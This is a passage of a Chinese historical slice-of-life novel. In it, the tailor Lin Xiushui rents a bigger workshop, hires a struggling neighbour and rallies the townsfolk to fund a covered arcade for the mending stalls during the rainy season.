林秀水压着声,她不承认,“谁说的,我可是见过大世面的人,刚巧做完活出来透透气。” 陈九川没拆穿她,只是笑问:“吃不吃蒸梨儿?” “哎,你都问我了,我当然吃,”林秀水伸出手,“你自己蒸的?” “等有第二个陈九川时,就能一个人干活,一个人蒸梨。” 陈九川将热烘烘的小罐子递给她,告诉她是街边买的,在桥边有个卖野梨的小摊子,又小又酸涩的梨子,同糖蒸了后会很甜,水也成了甜水。 “吃了早些睡,”他想想又说,“今年蚕花收成不错,出的蚕丝是十二分,到你这,你已经得到蚕花廿四分了。” 在桑蚕中,蚕花廿四分是顶好的收成,也是期盼和祝愿。 即使陈九川搬到桑桥渡边上,他也时常不在家,但回来时会听见林秀水的名字,在这一带反反复复被提起,那些他知道的,不曾知道的,反正都是他没参与过的。 林秀水说:“要钱不?夸得这么好。” “那给两个赏钱吧。” “谈钱多见外。” 陈九川问:“那谈什么?” “谈天说地吧,比如你想要赏钱,我想要睡了。” 林秀水真的困了,她头次租房激动乱跳的心,反正平静下来,只想蒸梨真好吃,她赶明儿也去买几罐来,给姨母小荷,给陈九川和桑英,都给都给,她不是吝啬的人。 当然在采买屋子要用的东西时,还是得吝啬点。 不然钱压根不够用。 林秀水用了三贯,和王月兰在南货坊里淘买桌椅,安放在后面屋子里,一排窗子边上,她竖放了张长而宽的桌子,能放下整幅的布料。 再也不用画线,裁纸样,将布一缩一卷,需要她将布边垫张布头,紧紧挨在墙板上头了,她画的各式纸样,褙子、背心、下裙,每一张都悬挂在墙边,需要的可以直接取下来,不用来回翻找。 新屋子大得她能直接横抱整幅布料,终于不用怕撞到两边的东西了,即使后面东西还会慢慢增多,至少不拥挤。 前间大院子里,她搭了三四根竹木架子,晒她从油衣作里买的整匹油布,和买来的整匹麻布。 还有一个大桐油桶,原先院子里放不下,眼下倒是不碍事了,她能尝试做更好的油布手套,手套样子裁好,放到里头进去浸上两三日,这种泡出来的油布手套,极少会进水,要价也得更贵点,得六十文一双。 随着孙大和宋三娘到处招揽和买卖,她已经供不上卖了,油布得贵,所以买的人虽然不少,可不如布做得贵。 尤其是孙大,他将麻布做的手套,卖到了鸡鸭行里。 “鸡鸭行听着肉多,”孙大在摊子前跟她说,“可里头是蛋多、毛多、屎多。” “他们那有专门装毛、铲屎的,我都下不去脚,他们能下得去手。” “我说天可怜见的,还好老天有眼,救人于救鸡鸭屎中的东西出现了!” 孙大摸摸鼻子,“我就把手套给他们用,虽说都沾在手上,可那套了东西跟不套东西的,能一样嘛,他们要得不少。” 林秀水接来他的单子,瞟到下面,两百多双,她眼下手里只有二十双。 暂时没有找桑英帮忙,又不要钱,就很难开口,而且她认米很刻苦,每日非要帮她打下手,也会抽空背早米品种,诸如早白稻、早白、乌黏、宣州早等等各色米如何。 她说自己算是愚笨,又没有什么本事,只好下点苦功夫,至少把米认熟了,再来做其他的事情,她要能先做好一件事。 所以林秀水找了之前扫街盘垃圾的周娘子,她再做帐设司的小活,每日能多赚个三四十文,偶尔从林秀水手里买些布头,拼凑在一起,给孩子做身衣裳。 周娘子也每次起早,先给她这片地方扫干净,尘土、桑树叶子都扫得一干二净,永远比林秀水支摊的时候早。 这天大早上,下蒙蒙雨的时候,林秀水喊住周娘子,叫她赶紧进屋来,给她塞了块巾子,让她给自己和孩子先擦擦。 “我看娘子你,街道司的活计不算忙,早晚扫两趟便成,那些绕穗子的小活也都不急,而且做得快。” 林秀水进屋给她倒了杯热水,又坐下说道:“我这会儿租了间房廊,有些缝手套的活计要做,按缝补两文一双,还希望娘子能给我院子和屋子每日打扫下,按二十文一日算。” “娘子要想在那边缝也可以,针线都已经备好了,算是帮我守院子,能晒下衣裳,并收回来,这也算钱,五六文成不成?” 这样一日算下来,起码有个百来文,对于周娘子这种捉襟见肘,而且她的孩子还只有三个月,仍在吃奶的年纪,已经是很好的活了。 她怀里抱着孩子,想要站起来,差点勾到椅子,又连忙坐下,她满脸都是无措,手不停拍孩子,连连点头说:“行,我能做的!” “就是这守院子,晒衣裳,收衣裳, 顺手的事情,不,不用给钱的。” 林秀水叫她喝口水,嘴巴都干得裂出两条血痕了,“那这是顺手的事情,那是顺手的事情,到头来,什么都顺手,是不是就不用给钱了?” “天底下就没有顺手的事情,要不还情,要不给钱。” “你只管做着吧,我那院子才刚租来,我又要日日上工,每日都担心,有没有谁进屋子里去呢。” 林秀水随口说的,她担心个鬼,里面又没有值钱东西,贼偷来逛一圈,除了能顺走她的针线布头,她不知道有什么好偷的。 周娘子头点如捣蒜,这么活计她拼了命都会好好做的,一日能赚好些钱,在梅雨季没法去街道司上工时,她至少有活可以做,能够填满米缸。 每年端午芒种前后,一直连续到夏至、小暑,对于她们这种靠扫街做活,按日支钱的实则很难受,连续阴雨天,出不了门,意味着没有钱挣,做其他活,也不是按日给钱的。 外头下着蒙蒙细雨,瞧着天灰蒙蒙的,可周娘子的身上却像照到了大暑里的日头,那么片刻,都暖烘烘的。 其实林秀水确实很需要人收晒衣裳,尤其是这鬼天里,下雨下得一阵一阵的,而且一会儿大,一会儿小,她都不敢晒衣裳,只好放到屋里,又是一股潮味。 能有个从早到晚缝手套的,她至少可以卖出不少,而且梅雨季里,她想卖油帽,周阿爷有个老伴陈阿婆,腿脚不好,但是手很巧,也是个篾匠,做了很多顶竹帽,卖得不大好。 她打算买些来,边缘缝上到肩膀往下到屁股处的油布,缝上一圈,卖个一百文,能遮挡很多风雨,比买一把油纸伞要便宜好几百文,油衣太贵,没人买的。 桑桥渡人家的窘迫,通常会在连绵阴雨里,展露无疑,举着把反复修补过的破伞,穿着湿漉漉的鞋子,或是戴着顶破竹笠,小心走过一个个水坑。 而且在这种时候,大家的伞破了,竹笠坏了,鞋子泡在水里,后脚跟裂了,是很难找到修补的人,时常下雨,修补匠也没法跑到桑树口里来。 靠林秀水一个人,她修也修不过来,像有些鞋子的话,她能给做个油布的脚套,就是有两根绳袋,可以绑在腿上的,这样能极大缓解大家走雨路,没有油靴,到上工的地方鞋子是湿的,难受一整日。 她也补了许多伞,都是晴时半点不用,小雨不用,中雨不用,大雨才舍得撑开的,结果伞面都破了许多。 本来这些活计,都不是林秀水做的了,她补得有些苦恼,而其他不能出摊的人,也极为烦闷,一是没钱赚,二是本来大伙说说笑笑的,整日在这边热热闹闹,一回家,简直跟坐牢一样,好歹牢里还会给口饭吃。 这种连日不断的雨,林秀水去上工都很烦闷,到处潮乎乎的,没哪个人专门大雨天跑来找她改衣裳,她还有堆得那么老些的活。 老裁缝看她这么愁,跟被雨打蔫了的花一样,走过来跟她说:“要我说,你们那里宽阔地界,就该有个廊棚才是,你是不愁,给些缝补摊子的人,雨天也有条出路是不是。” “说得轻巧,谁出这个钱呢?” 林秀水却忽而眼神一亮,对啊,她们这种缝补摊子,应该有个廊棚的。桑青镇的雨可不止在这种梅雨季,而是一个月下十几二十日的都有,一阵一阵的,大家没带伞就得急急忙忙收摊,站在人家屋檐下避雨,等雨停歇了,才能出来摆摊。 只是造廊棚,得归街道司管,不然大家就算私造起来,都只能算是侵街,一律要被罚没拆除。 她跟街道司的熟,下了工拉上桑英给她壮壮胆,到街道司里头问问,能不能给她们桑树口造个廊棚,规划一下,如果街道司不出钱,大家自己出钱呢?这里时常有自己出钱,造桥造亭子的。 街道司的管事说:“你们这一片的缝补摊子出了名,我们原本是想,从你这往后,安表木的,这就是正经收税的地,给你们好好安排。” “但这造个廊棚,少说得二三十贯钱,能造是能造,你们那片靠右墙处就行,不属于侵街,只是造得长,宽到能摆一个摊子,我们少说得出三十来贯钱。” “压根出不了,你们要是能出二十五贯,我们这边给垫些银钱,我就叫人跟过去,看看怎么造好还快。” 二十五贯,林秀水全部身家都没有那么多,桑英拍拍她的背,没有泼她的冷水,而是道:“我娘出来前,给我两贯三钱,叫我好好藏着,我这几日里,吃喝都有我哥,我留三百文,其他都给你。” “好桑英,我不要你的钱,我有个主意了。” 林秀水接受她的好意,但是她不想要这份钱,她想问问桑树口的大家,愿不愿意造个廊棚。 胡三娘子一拍桌子说:“造,就得造个廊棚,不说我们眼下过了梅雨天,以后呢,还有暑热,七八月的天那是说变就变,总得为后来打算,我出钱,我出个两贯,不够,我还能再凑凑。” 她家底薄,又有个生病的孩子,这已经是她能拿出最多的钱了。 “得造啊,这不算是侵街,我们就造,我也出两贯,”周阿爷刚付了不少竹料,此时手里也没有多少,还是这段日子赚钱,才让他有能拿出两贯银钱来。 至于其他的,有的实在不好意思,出个一贯五,有些人回去商量下,摸摸家底,看看能不能拿出点银钱来。 但是对造廊棚,那是没有任何意见的,谁都知道,往近了是舍点银钱,可往远了来说,那是百利而无一害的事情。 可是就算加上林秀水出三贯银钱,拼拼凑凑,大家也只能凑出十七贯多点。 不过到了转日,雨最大的时候,有人上门来,是对老夫妻,怀里抱了个布袋,递过来给林秀水。 “我们也知道了,要造廊棚缺钱是不是,这是三贯五,我们俩时常在你们这摊子底下待着,儿孙又没在身边,可给解了不少闷。眼下你们都不出摊,我们也发愁,造吧,我们出个钱。” 看两人湿漉漉的裤腿,搞得林秀水难受极了,心里就跟这大雨一样,不想接,也难得不想数钱。 “哎,花婆你们咋来了,”另一个娘子进门来,“阿俏,我听说造这廊棚缺钱啊,我昨夜都没睡好,这一定得造,我手里没什么钱,这是一贯五钱,多个五十七文,你们拿去垫上。” “听姐的,钱不是难事,廊棚得造起来,我们凑凑就有了。” 这一日是林秀水的休工日,她接到了大家凑来的钱,一笔笔记在账上,许许多多的几十文、上百文,一页页的名字,一笔笔的钱数,其中还有来自桑英的五百文,小荷的五十七文,陈九川给她送了三贯六钱。 远远超过廊棚所需的三十来贯,大家筹集了四十六贯七钱,要盯着街道司,造一个桑树口的缝补廊棚。 造得要宽些,造得要长,还得造得好,风雨不透,承载着桑树口总共一百一十二位捐钱者的心愿。 这座缝补廊棚,也在放晴的好日子里,风风火火开始动工建造,先打桩子再说,上头盖瓦片,让这座廊棚能先避雨,供大家支摊,其他的铺砖、造长椅、上漆、挂牌匾,全往后放放,再慢慢细化。 廊棚最终在梅雨的天气里造了大概,一头架到墙上,盖上瓦的长棚子,相当于屋檐前头多出来一大截,四边、中间用柱子抵住。 这个简单的廊棚,让这些缝补摊子,可以继续 出来上工,给大家缝补破的伞、蓑衣、斗笠。 解决桑桥渡人家在梅雨季里的苦恼,缝补好那些由雨而生的烦闷。 50-55 第51章 第 51 章 下雨天之狗也要穿雨衣…… 桑树口造廊棚, 在桑桥渡人眼里挺稀奇,起了一阵波澜,缝补摊子的名号又再次传扬出去。 这种廊棚在清河坞上船亭边上有不少, 运货要过廊桥、廊棚底下,在桑桥渡不大多见,冒雨都要过去瞧热闹。 桑树口的路口是平直宽阔大路, 左面是墙,右边有两座桥,廊棚便是靠墙而建,相当于桥上的浮铺, 加宽加长,平日里到桑树口的驴车、车架都小,不影响往来。 街道司在两边加设了四根表木, 是四根长到二楼高的小木,最上面钉了两根交叉的木棍。表木一根立在老桑树边上,终点到桥边上,另两根分别立在廊棚两端,横跨了整座廊棚,表木两点连线内可以摆摊,超出表木范围内, 则为侵街占道经营, 叫侵街房廊钱或是罚没东西。 是以从造廊棚、立表木起, 桑树口也将不能再随意支摊, 要将摊摆得整齐,在表木竖立的地方内,至于税不变,照旧一日两文的商税。 廊棚盖了顶后, 仍旧在下雨,难得阴雨不断的日子,也没败坏大家的兴致,打了油纸伞,披蓑衣戴斗笠过来瞧。 陈桂花摸摸自己湿漉漉的头发,拍拍这大木头,她跟其他人说:“我可出了钱的,我出了五百文呢!” “了不得,竟是也被这廊棚占到你陈桂花的便宜了,”王月兰隔了好些人,也不忘回了句。 陈桂花哼了声,要不是她靠林秀水介绍,也赚了不少钱,搁往年里,这笔银钱她是一文钱都不会出的。 “我也出了一贯多,我们桑树口悔就悔在去年里,说是要纳钱,也在前头桥边上,造个廊桥,做米市桥,要出二十贯钱。我们想想太亏了,没几人出,结果下头河道人家一百来户能出钱,就给了他们,”老阿婆收了伞,站在新廊棚里,仍记着去年那事。 出了钱,没出钱的,都凑到廊棚里外来,林秀水则在这几日里,找了家经书铺,眼下雕版印刷多而便宜,她就把记下来的人名给对方,在一方红纸上刻印下来。 手掌长的红纸,先印对方名字,底下的一行字是年月日,为桑树口缝补廊棚捐钱,即使小孩捐了一文钱,她也给记上了。 这种本不应该她来做,但是在这刻石碑得要十来贯,印刻在纸上才花了她百来文,印好的一叠套在红包里,发给大伙,至于为什么不自个儿写,她字丑。 有个娘子擦擦手里的雨,赶紧接过,笑得一脸灿烂,“哎呀,这上头是啥字,张大花,对对,我叫张大花。” “我也有啊,我就捐了三十文,咳咳,怎么好意思呢。” “收收你脸上的笑吧,呲个大牙傻乐,那个阿俏啊,我有没有呀,我得拿回家里裱着去。” 一个不过几文的红封和红纸,就叫大家欢欢喜喜的,造廊棚的喜悦不减反增,在个空廊棚里,也能坐一个早上。 第二日阴雨,各色缝补摊子从家里出来,到廊棚里上工缝补,大家按从前的位置,占一块地方,修鞋的将鞋担放边上,修书画的换张小桌,东西挪一挪,修竹篮的将长竹子换成短竹子,靠墙一侧摆着,林秀水也将大宽桌换小点,供大家行走。 各有各的招幌,大家摆在靠墙的一侧,从右边,林秀水打头开始,旁边篾匠周阿爷挂个小竹篮,补席子的黄阿婆则是卷了一把黄草,修鞋子的陈阿婆挂个鞋楦子等等,哪怕不是桑桥渡的,过来能一眼瞧出。 林秀水手撑在小桌上,听雨敲在廊棚的瓦上,又顺着瓦留下来,蒙蒙的雨幕里,出行的人不减,有人从溪岸口的台阶跑上来,没带伞,双手护着头,茫然地四处张望,又想跑远处去,看到廊棚忽而惊喜,又急急跑过来。 “这棚子可真好,我刚还在船里着急,说下雨的日子你们不会出摊了,可救了大命了,”那男子浑身都湿透了,雨顺着脸颊滑落,见了这么多缝补摊子,如同见了亲人两眼泪汪汪,“老丈,我船篷子漏了,我运的干桑叶啊,全给浇湿了!这遭瘟的天!” 周阿爷赶紧起身,穿上蓑衣和斗笠,拿好缝补器具说:“别急,别急,我给你补补去,湿了再烘干,不妨事不妨事。” 林秀水喊住那男子,“你别急,这船篷子漏了,阿爷会给你补好的,有没有带伞,要不我叫人给你送到那去,我这还有油帽卖,一百文一顶。” 男子抹抹脸,“这价便宜,来顶吧,钱我等会儿叫老丈给你送来。” 他戴了竹笠做的油帽,这帽长,油布都能盖住他腰了,而且宽大,能遮挡不少风雨,他难得有些面色回晴,跑进雨里去。 没过一会儿,周阿爷回来,站在外头甩甩斗笠,老脸上笑得皱起来,“还好出摊了,不然他那船破的洞,可撑不了到清河坞,上头的桑叶湿了,底下还干着呢,能交一半的差。” “可不是,我说雨天多闹事,”黄阿婆补着席子,嘴里随口说了句。 结果从右边蹿进来一人,穿着件蓑衣,喊了句,“这贼老天的,我在西边那鹅棚顶塌了,你们谁能过去帮我补补,我先给二十文的脚费,鹅都得淋死了。” 黄阿婆打了下自己的嘴巴,“我这破嘴,好的不灵坏的灵。” 临安内城的人爱吃鹅,胜过鸡鸭,桑青镇有不少养鹅大户,这雨下了好几日,尤其后半夜雨砸得跟在屋顶放鞭炮一样,那养鹅郎的篷子是草盖的,可不是塌了一大半。 黄阿婆穿好油靴和蓑衣,用粗油布裹上草帘子,出去给他瞧瞧。 真是芒种逢壬日入梅,雨多事多。 新来的补伞匠算是寻了个绝佳的好地方,破伞十来把,修鞋的陈婆子也有好些生意,大家生意可不少,廊棚底下来来往往的人一大堆。 只有林秀水,别人接的是正经修补活计,只有她下雨天的,还有人特意来寻她。 是个长着大黑脸,大黑胡子,小黑眼睛的中年男子,整个人像那种路边卖的膏药方子。 要补个白纱布的长笼套,胡三娘子补不了,林秀水能补,收他十文钱,随口问他干什么用的。 他说:“这雨天不是蚂蚁搬家,我寻思往里放些东西,” 边上补鞋子的大娘看他一眼,“咦,原来那大黑蚂蚁是你家亲戚啊,我说呢,怪不得瞧着眼熟,那快上我家领亲戚走吧,你家亲戚成能吃了。” 其他人听了大笑,黑面男子倒也不恼,他身子偏了偏说:“啥蚁啊?” “你大姨、二姨、三姨,我能给你数到五十六姨。” “嘿,我姨还挺多,不是,我捉蚂蚁斗虫蚁呢,我是斗虫蚁的老手了,”那黑面男子坐那拍腿道。 那大娘啊了声,“你不说,我以为你是捉来熬偏方的,还想问问你在哪开摊子呢。” 她保证不去。 林秀水笑得一抽一抽,手差点没拿稳针线,扎在自己手上,那大娘把小板凳往边上搬一搬,看她一眼,“你瞧你这是纳鞋底呢,还是想在手上开个染红胭脂铺呢,两样我都怕你手成窟窿眼。” “大娘,你不会也是南瓦子里的吧,”黑面男子瞧她,他在南瓦子里那么多年,没瞧有这号说话接嘴快的人物。 大娘说:“你是南瓦子的,我是搓线瓦的,都是瓦道中人。” 她就是嘴皮子快,是麻行里搓麻线的,搓麻太无趣了,就喜欢耍点嘴皮子功夫,连补好油靴走前,还得跟大伙来句,“走了哈,在麻行里做活,就是下雨天还给自个儿找麻烦,麻多烦多啊。” 大伙说她逗趣,只有黑面男子松口气,招架不住啊,他真是南瓦子里弄虫蚁的,时人将飞禽鸟兽、昆虫种种都称为虫蚁,弄虫蚁就是调教虫蚁的,他是调教蚂蚁的来相互斗的。 近来他还发现自己住的屋子底下,有蜂筑巢,又起了捕蜂的心思,拿着自个儿的捕蚁套,跟林秀水说:“给我做个那种大黑布,全套头,就露眼睛的呗。” “怎么,打劫去?”林秀水问。 “对啊,别人劫财我劫蜂。” 确定不是发疯?林秀水来回瞥他的脸好几眼,最后问:“不是说你们这行能招蜂引蝶的?” 黑面郎君说:“我也能啊,能招风,还能引我爹,我一在家里喂蚂蚁,我爹就 说,带你的东西滚出去。” 做头套不如戴油帽,她的油帽就留条缝,在脖子处扎上就行,保证蜂钻不进来,又卖出一顶,还顺道卖两副手套。 反正这会儿,手套和油帽、香囊已经不愁卖了,光是这两样,除去买油布的钱,每日支给张阿婆、陈双花、蔡娘子、周娘子的,还有几个剪布婆子,她能净赚三四百文。 而且给帐设司做桌帷的钱,也给得很及时,分三次给的,一次给一贯六钱。 林秀水租屋子、买桌椅等,捐出去三贯,眼下手里的钱又回到八贯多,她开始每笔记账,至少要把每月租房的三贯多给留出来。 虽说钱多了,而且钱来钱往,但她照旧很喜欢赚缝补和改衣裳的几文到几十文,每日就坐那,听大家说说闲话也挺有意思。 有人即使下大雨,也专门走到廊棚底下来,问她补什么,她说:“南瓦子卖瓦药前的甘豆汤好喝,我一日喝不着,抓心挠肝一样,下雨也得去喝一碗。” “我喝,我闺女也爱喝,带了个篮子来,结果篮子摔地下破了,正好你们这给大伙行个方便,我来补补,不然我今日可还得再买个篮子。” 也有的娘子来寻林秀水说:“我就住桑桥渡边上的,前头碰上个“庸医”,非说我这纱布衣裳不能缝,听说你这里治衣裳好,我来瞧瞧。” “对啊,我用药猛,见效快,什么毛病我瞧瞧,裂缝了,还抽纱了是不是,我缝几针就好了,”林秀水也说笑道。 下雨天里,不管男女老少,也仍旧爱来看她补衣裳,即使在那么多日子里,瞧过许许多多次,但就是喜欢看,看她把破洞用线一点点补好,加上纱线,也喜欢看她补绣,剪了各种花样子,慢慢将洞给补成新的花样。 其实更喜欢她改衣裳,尤其运气好,碰上一件衣裳现改的,那真是瞧得津津有味。 比如今日有个胖娘子拿了件青布衣来,又拉个小男娃,跟林秀水说:“这是他哥穿过的,传到他这里了,劳烦小娘子帮忙,给改成背裆。” 小孩很不情愿,他大喊:“我不要!” “我就想光着!” “傻小子,”他娘笑眯眯地说,“我肯定会让你光着腚出去的。” 其他人笑,小孩不解,而林秀水想说,背裆和光着就差不多,只是多两层布。 因为背裆和背心差不多,但是小孩穿的背裆,它是真正没有袖子的,不仅如此,它的两边侧缝处是开衩到袖口底下,留一点缝线的,玩的时候风一吹,两边就荡起来。 她改改也快的,量了小孩的尺寸,画线裁掉,袖口缝边,腋下处缝六针,底边缝好,背裆就做出来了。 他娘硬给小孩套上,小孩缩着脖子,赤着袖子,抱着胳膊喊:“我冷。” 他娘仍旧笑着问:“还想光着不?” “我想多穿点。” 看得大家好笑,林秀水也收摊了,而其他人仍旧在这里摆摊,缝补许多东西,解决很多麻烦。 桑英撑伞来接她,给她一起收东西,并且扬起光溜溜的头发来,她头发梳得很光滑了,不再乱蓬蓬的,塞给她热乎乎一块枣糕。 她一手撑伞,一手提桌子,“桌子放着我来拿,你可快吃吧,我哥做的,你一日日真够累的,跟上林塘的货郎一样,又卖东西又卖药还专治牛马人。” “被你发现了,”林秀水拆开糖糕包的粽叶,她承认,“我以后肯定是个大名鼎鼎的裁缝“郎中”。” 林秀水觉得,陈九川不应该搞船运的,他应该做厨子去,雨天桑蚕行闲,他上半日工,下半日在自家灶房,给猫小叶炖香喷喷的猫鱼,给小荷做盐煎面、笋泼肉面。 她有好几日,下工后去对面串门,陈九川在做江鱼兜子,面皮是用粉皮做的,做灌熬大骨、薄皮春茧包子。 桑英会边吃边说:“到镇里来,跟换了个魂一样。” “连张树,就我表哥都能混上口吃的了。” 张树要知道,肯定会狠狠呸几口,天天给他吃半生不熟的破烂东西,也叫混口吃的? 林秀水则吃得头也不抬说:“那可太好了,让他换吧,反正他之前啥样我记得。” 也没有时时去混饭,不是她要面子,而是真的忙,租了这个院子后,林秀水当真是物尽其用,接了帐设司做帐幔的活。 在嫁娶里,除了房奁、首饰、田产、珠翠、金银等等,帐幔也属于其中一样,是里头自带的东西。 用的是罗布,罗的孔眼很多,比较容易破,帐设司之前交给别的裁缝,做帐幔是做好了,但是破的洞不补,结果挂到架子上,明晃晃的几个大洞。 交给林秀水,则非常安心,她会熨罗布,会织补,而且裁得很齐整,虽说工价高,一块帐幔要六百文,出工也不算快,但是帐设司很愿意跟她打交道,要省心省力,不用时时操心。 做帐幔,林秀水有桑英和周娘子两个帮手,周娘子给银钱,而桑英纯粹无条件帮她的忙,在这个大屋子里,两人帮她扯布,她裁线,罗布的尺幅不是很宽,需要十来块长布拼缝在一块,造出层层叠叠的感觉。 尺寸各不相同,但都需要精细,在吉日前的一日里,帐设司会有人去新房铺床,就要挂上红帐幔。 林秀水会裁会熨,缝是交由缝补更好的周娘子去缝的,下雨天不用去扫街盘垃圾,能专心带孩子缝补。 她还接到了来自小女童叫声象声社的做衣活计,她们也有些日子没见了,大家都各自忙于生计,林秀水给她们在刘牙嫂那买了许多旧衣,按着乔宅眷、乔嫁娶等等,改了不少衣裳。 后面她们小女童能登到瓦子上唱戏,有捧场的人,也被大家渐渐熟知,她才渐渐没有再关心。 如今春大娘打着伞,领着三个小女童过来,她面上泛红光,哪怕阴蒙蒙的雨天,也没有往前那般凄凄惨惨的愁容,钱很养人。 “我领她们三个到小娘子你这做衣裳,这会儿我们可以穿新衣裳了,”春大娘擦擦手,朝林秀水笑,她簪了满头的鲜花,“我们这社近来演了许多场,有不少人打赏,赚了好些银钱,大家都能吃饱饭了,个子还长了不少。” “从前的衣裳也有些不合身了,我想着多做几套新的来。” 春大娘的腰杆子都直了,她笑着又低头,理理发丝再抬起头来,跟林秀水说:“不用,不用旧衣了,我们这会儿能做起新衣裳了。” “要给大家穿新衣,都做都做。” 林秀水先说:“春大娘,你算是熬出头了。” 她也笑,“正好,我如今也有地方,供大家裁许多新衣的了。” “我租了个大院子,带你们认认路,下回要做新衣的,等我下午下了工过来说就是,我也买得起新布了。” “真的啊,还没有恭喜小娘子呢。” “那不是得相互道喜。” 她们彼此 都已经走过了很长一段路。 曾经给她们几位小女童做衣裳,在那狭窄的小间里,她摸着女童们瘦到骨头都凸出来的胸膛,如今在雨天里,温暖的大屋子里,她给女童们量身形,已经高了些,手温热,身上也长了好些肉。 她放下布尺,靠在桌子边,神色温柔地说:“看来真的有好好吃饭。” 学乡谈的小三花放下手,她抬起脸看林秀水说:“是我们都有好好吃饭。” 她用手在自己头顶比划,“阿俏姐姐,你也长高了,从前你高我一个脑袋,这会儿你比高我好多,也胖了,胖得好看。” 她们始终都记得,这个高高瘦瘦的裁缝姐姐,给她们一点点量尺寸,将宽大的衣裳改到合身,让她们能先在南瓦子前唱,到后面又上南瓦子里唱。 春大娘给她们饱饭吃,阿俏姐姐给她们新衣穿。 林秀水低头看她,“你也会长很高,记得到时候,还要找我来做衣裳。” “我应该会当裁缝,当很久很久。” 在屋子里,林秀水给三个孩子都细细量好尺寸,她原先留下的纸样已经不能用了,得先重新画些纸样,她也喜欢这样的时候,大家因为长高、长胖,来找她重新裁做衣裳。 她手里本子记下的尺寸,记录着大家的生长变化,在日子慢慢流淌过去里,悄悄地长高。 林秀水又拿起布尺,朝边上的春大娘说:“大娘,你也做身新衣裳吧。” “你之前来,穿这两身绿的,到这会儿还是穿这两身,你就当我想赚你做衣裳的钱吧。” “我就算了,做什么新衣裳,”春大娘连连摆手,她穿旧的就挺合适,给她穿怪费钱的,能买许多升米了。 林秀水拉她的手说:“改旧衣,三百文一套,我跟你有交情,给你改一件,就当犒劳自己的吧,你也很不容易。” “你也是啊,”春大娘嘴唇翕动,最后只轻轻说了这四个字。 最后林秀水给春大娘量了尺寸,让她选件衣裳,给她改成合适的,让她从四十来岁,变成二十来岁。 改衣裳和做衣裳要费许多时间,林秀水关了门,打了伞送她们几人出去,在茫茫雨幕里,看她们相互靠在一起,慢慢走过一个又一个雨坑里,从前是这样,以后也会是这样。 林秀水转而又笑,王月兰打把大伞,小荷穿油衣和油靴,踩着水坑跑过来接她,“阿姐,走了走了,回家吃饭。” “吃什么?” 小荷冰冰凉的手去牵她,不解但又很认真给她解释:“吃饭啊,大米饭,桑英姐姐送来的米。” 王月兰笑出了声,叫林秀水躲到她的伞下来,她的伞偏斜到边上。 三人说笑走过桥,廊棚里的大家也在陆续收摊,子女来接大家回去,相互告别在这个雨夜里。 到转日上工时,林秀水还买了蜜枣儿、甘露饼到领抹处,之前刚说能造廊棚时,她就已经谢了大家一回,尤其私底下买了些果子送给出主意的老裁缝。 这回是造了五六分的样子,能进去支摊了,她也跟大家说,当初筹钱,这些裁缝娘子也是说要给她出点的,尤其是小春娥,说不去扑买了,剩下的钱也要给她,当然她没要。 她在门口踩了踩,脱下油衣来说:“买了些东西,大恩不言谢,一块吃吧。” “小恩小恩,我们不用说谢不谢的。” “吃还是要吃的,不吃白不吃,出去吃啊,招蚂蚁和老鼠,姚管事看见了,可不得骂死。”大清早的,一排人站在屋檐底下,或蹲或站,手里啃着甘露饼,用手兜着,看见有人来,还掰下来分她一块,手脏不脏的不要紧,先吃了再说。 姚管事从远处过来,又气又笑,等她们吃完才说:“阿俏,这两日你和杜娘子到缝褙子处,打打下手,帮帮忙,李娘子来的路上驴车摔了,她手擦破了,歇两日。” “抽纱李锦和小七妹已经会了,你也歇两日。” 林秀水毫不犹豫应下,缝褙子和缝领抹的就隔一扇门,而且一个来月,抽纱两个人确实都会了,且能开始绣样子了。 杜娘子嘀咕,“还好多两百文钱。” 有个娘子哼一声:“我就说怪这破雨,我家那石阶上都长青苔了,我早上差点滑了一大跤,好悬我稳住了。” “可不是,气死个人,我家婆起夜也摔了,得亏没摔着筋骨,我家那头的陈家大骨传药铺,人多得很。” 大伙抱怨这雨几句,林秀水领了针线,跟杜娘子到缝褙子处,这不像油衣作里,一块块布料分好,哪些人缝什么,而是一个人领全部的布料,缝一整件。 谁缝的都会记上,缝的是什么褙子,出了差错好直接找人,林秀水对面的娘子缝罗单褙子,左边是红色对襟窄袖,右边的是桃红织花长褙子。 每个人有单独的桌椅,一筐针线剪子,褙子的前片、后片、后领片,林秀水缝的是比较普通的青绿短褙子。 到了缝褙子的地方,她发现两批人真的与众不同,缝领抹的裁缝娘子很爱说笑,什么都能扯,因为大家的领抹需要不停去想新花样。 不能吃冷饭是很痛苦的事情,因为新饭要有新米,要有新的锅具去蒸,但是米和锅具就那么多,会用的就几样,她们说自己就想吃剩饭,不想煮新米。 可要求在那,大家尽可能去想,去翻新,去学新的法子来做领抹。 不过缝褙子的数十位娘子,画线裁衣已经有人做了,料子好坏已经定了,样式是固定的,她们最终能选的是,从一开始量衣画线时,选定配色和纹样。 配色反反复复用,纹样要看织工,所以她们谈论最多的是,关于新出的料子、质地、产地、哪里的布料要好。 以及关于自己的家事,林秀水已经听边上陈二娘子,讲她家不成器的大儿子,到底有多混蛋。 她缝着针线,耳朵都快起茧子了,要知道陈二娘子也是找她来解决过缝补问题,她都记得当时陈二娘子,是如何咬着牙齿,面目扭曲地让她缝补她儿子破裂的书本、坏掉的书囊。 以及被她儿子放在嘴里咬出洞的帽子,她说这辈子最后悔的事情,就是给她儿子取名凡,凡叫多了,真的很烦。 林秀水右边那娘子,则操心的是她闺女的事情,她说:“我一定要给我闺女请个馆客来,不能耽误她。” 另一个娘子剪了线说:“那可不是得早点请,你家那个六岁了吧,我认识六岁的有要学针线,做绣娘的,也有请了厨子来,说要下厨做厨娘的。” 桑青镇生女的人家,有些银钱的人家就会操心孩子以后的路,大多是要学门手艺的,比如绣娘、裁缝、厨娘等等,先认字启蒙的也不少,毕竟时下崇文。 至于馆客,就是上门来训导开蒙幼童的先生,要是教围棋抚琴、投壶打马球等,就称之为食客。 林秀水对这个倒是有不小的兴趣,将针放到旁边才问:“这个馆客一个月得多少银钱?” “他们还算便宜的,每家只教两个时辰,约莫要一贯银钱便可,你家里也有要开蒙的?” 林秀水点点头,她就想给小荷请一个,转眼就到七岁了,私塾跟书院要到八月和十一月招生,但是一般女子少有。 她想小荷能识字的,以后不管做哪个行当,都会有出路一些,只是还得跟姨母商量,而且馆客也很难找,好坏谁知道,这就得慢慢打听了,她边上这个娘子都已经找了两个月。 等过了雨季再说,不过雨季里,她接到了一个活。 一个穿破蓑衣的男子,抱着条浑身湿漉漉的大黄狗,来请她给狗做衣裳。 “我听闻小娘子做了好些衣裳,不知道给它做件油衣成不成?” 林秀水低头看那大黄狗,大黄狗甩甩湿淋淋的皮毛,冲她小声汪呜一声。 大雨天的,狗也有狗的烦恼啊。 